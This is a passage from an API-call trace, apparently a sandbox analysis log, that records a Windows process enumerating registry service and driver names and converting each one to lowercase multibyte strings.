lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1c40, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.128] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0243.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1df0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1c40, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1df0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.129] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0243.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.130] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1c40, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0243.130] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.131] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.131] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0243.131] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.132] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.132] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0243.132] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.133] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.133] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.133] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0243.133] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, 